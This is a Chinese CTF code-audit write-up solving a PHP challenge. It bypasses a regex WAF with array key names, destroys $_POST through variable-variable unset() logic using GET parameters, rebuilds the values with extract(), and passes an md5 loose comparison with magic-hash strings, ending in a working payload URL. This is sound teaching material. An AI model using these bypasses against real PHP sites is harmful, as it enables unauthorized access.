CTF 代碼審計 unset() extract()

這個一上來有點把我整蒙了。。。
在這裏插入圖片描述
這個waf我尋思怎麼都繞不過啊,/flag/i,只要提交flag就能被檢測出來,想是想不出來了,只能弄個環境慢慢調試吧。

function waf($a){
    foreach($a as $key => $value){
        echo $key."____".$value;	//我自己加的,看看啥情況。
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }

先試個flag=1
在這裏插入圖片描述
明顯看到flag就是$key,繞不過正則。然後試了下1flagxxx=1
在這裏插入圖片描述
還是不行,名字不行,那試試數組。
在這裏插入圖片描述
還是不行,再把flag放到數組的鍵名中去。
在這裏插入圖片描述
好了,成功繞過這個了。這裏咋一看就覺得有點奇怪的,記得這個key應該就是[]裏面的鍵阿,怎麼會變成數組名稱的。

後來仔細看了下才發現,$_POST本來就是個數組,然後傳一個數組的話,當然只會把數組的名稱當作key了,所以把flag關鍵字放入鍵名裏面就可以繞過正則了。。。

接着來看下面這一段。

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

不管是$_POST或者是$_GET,當提交的數組名和值相等時,就進行unset(),即銷燬變量。但是我post提交數據時,總是無法讓他們相等。
本地測試代碼爲

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            var_dump($$__R);
            echo "^<br>";
            var_dump($$_k);
            echo "^<br>";
            var_dump($__v);
            echo "^<br>";
            var_dump($$__k == $__v);
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

提交參數爲:_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO,用這兩組數就是因爲md5弱比較,這就不多說了。

運行結果爲
在這裏插入圖片描述
沒有相同,所以最後比較後不用銷燬,算是成功提交。

if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_POST['flag'])){
    if($_POST['flag'] === $_POST['wenhua']){
        exit('error');
    }
    if(md5($_POST['flag'] ) == md5($_POST['wenhua'])){
        echo "flag";

    }
}

通過extract()函數將數組給拆成變量,鍵名爲變量名,鍵值爲變量值。但是關鍵是上一步的處理後,發現$_POST仍然是一個數組,處理了以後就變成了_POST[flag],並不是$_POST[flag],下面的if無法執行。。。於是知道思路應該錯了。

這裏反着來考慮,最後需要提交$_POST['flag']$_POST['wenhua'],那行,那post裏面的參數就應該是flag=s224534898e&wenhua=QNKCDZO,但是這樣明顯是無法繞過waf的。所以這裏就只能把unset利用起來了。

再來看看這一段。

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

之前沒有把$_GET用起來,再來想一想,傳flag=s224534898e&wenhua=QNKCDZO,那麼結果肯定是不會被銷燬的,如果不能被銷燬,那麼waf就繞不過去,這裏就一定得想辦法讓他進行銷燬掉$_POST才行。

一樣的方式,倒着看,需要unset($_POST),那麼$__k就爲_POST,這個值怎麼來呢,之前的一直沒用上的$_GET這裏就可以用上了,假設通過GET方式傳的是_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO,再來看看會是啥情況。

那麼此時$$__k$_POST,而$__varray(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" },由於POST方式提交的參數爲flag=s224534898e&wenhua=QNKCDZO,即$_POST也爲array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" },這樣就把$_POST銷燬了,銷燬就可以繞過waf了。

下面是測試的圖,測試代碼還是之間的那個
在這裏插入圖片描述
那問題來了,銷燬了,最後的if怎麼比較。。。不要忘了,還有一個extract()函數。可以通過extract($_GET)還原出$_POST[flag]$_POST[wenhua]的。那麼最終的payload

http://39.96.166.21:7071/index.php?_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO

post提交
flag=s224534898e&wenhua=QNKCDZO

提交後成功拿到flag
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章